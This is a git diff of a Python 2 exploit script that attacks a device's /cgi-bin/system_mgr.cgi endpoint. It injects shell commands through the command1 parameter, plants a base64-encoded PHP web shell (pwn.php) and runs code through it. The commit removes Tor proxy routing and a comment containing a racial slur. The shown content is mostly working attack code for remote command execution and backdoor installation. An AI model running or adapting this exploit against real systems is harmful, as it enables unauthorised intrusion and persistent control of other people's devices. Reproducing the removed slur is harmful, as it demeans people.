1
1
#!/usr/bin/python2
2
2
# coding: utf-8
3
- import requesocks
3
+ import requests
4
4
import sys
5
5
6
6
red = "\x1b [1;31m"
12
12
white = "\x1b [1;37m"
13
13
clear = "\x1b [0m"
14
14
15
- proxies = {'http' : 'socks5://127.0.0.1:9050' , 'https' : 'socks5://127.0.0.1:9050' }
16
-
17
15
def banner ():
18
16
print """
19
17
%s██████╗ ██╗ ██████╗ ███████╗███████╗██████╗ %s
@@ -29,7 +27,7 @@ def banner_grab(target):
29
27
sys .stdout .write ("%s{*} Checking target fingerprint...%s" % (blue , clear ))
30
28
sys .stdout .flush ()
31
29
try :
32
- r = requesocks .head (url = target , proxies = proxies , verify = False )
30
+ r = requests .head (url = target , verify = False )
33
31
except Exception , e :
34
32
sys .stdout .write (" %s[failed]%s\n " % (red , clear ))
35
33
sys .exit (0 )
@@ -44,7 +42,7 @@ def check_cgi(target):
44
42
sys .stdout .write ("%s{*} Checking for /cgi-bin/system_mgr.cgi...%s" % (blue , clear ))
45
43
sys .stdout .flush ()
46
44
try :
47
- r = requesocks .head (url = url , proxies = proxies , verify = False )
45
+ r = requests .head (url = url , verify = False )
48
46
except Exception , e :
49
47
sys .stdout .write (" %s[failed]\n %s" % (red , clear ))
50
48
sys .exit (0 )
@@ -59,7 +57,7 @@ def check_0day(target):
59
57
sys .stdout .flush ()
60
58
url = target + "/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1=id;"
61
59
try :
62
- r = requesocks .get (url = url , proxies = proxies , verify = False )
60
+ r = requests .get (url = url , verify = False )
63
61
except Exception , e :
64
62
sys .stdout .write (" %s[failed]\n %s" % (red , clear ))
65
63
sys .exit (0 )
@@ -77,7 +75,7 @@ def execute_command(target, command):
77
75
command = command .replace (' ' , '%20' )
78
76
url = target + "/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1=%s" % (command )
79
77
try :
80
- r = requesocks .get (url = url , proxies = proxies , verify = False )
78
+ r = requests .get (url = url , verify = False )
81
79
except Exception , e :
82
80
sys .exit ("%s{-} Exception hit! Printing stack trace...\n %s%s" % (red , str (e ), clear ))
83
81
output = r .text .replace ("Content-type: text/html" , "" )
@@ -106,7 +104,7 @@ def upload_shell(target):
106
104
upload = execute_command (target , command = "echo -ne '%s'>/var/www/ajaxplorer/plugins/access.remote_fs/pwn.php" % (payload ))
107
105
check_shell (target )
108
106
109
- def encode_php (phpcode ): #base64 that shit niqqa!
107
+ def encode_php (phpcode ):
110
108
phpcode = phpcode .encode ('base64' )
111
109
phpcode = phpcode .replace ("\n " , "" )
112
110
phpcode = phpcode .strip ()
@@ -117,7 +115,7 @@ def execute_php(target, php):
117
115
postdata = {'woot' : php }
118
116
url = target + '/ajaxplorer/plugins/access.remote_fs/pwn.php'
119
117
try :
120
- execute = requesocks .post (url = url , data = postdata , proxies = proxies , verify = False , allow_redirects = False )
118
+ execute = requests .post (url = url , data = postdata , verify = False , allow_redirects = False )
121
119
except Exception , e :
122
120
sys .exit ("%s{-} Something went horribly wrong. Bailing!\n %s%s" % (red , str (e ), clear ))
123
121
output = execute .text .rstrip ()
0 commit comments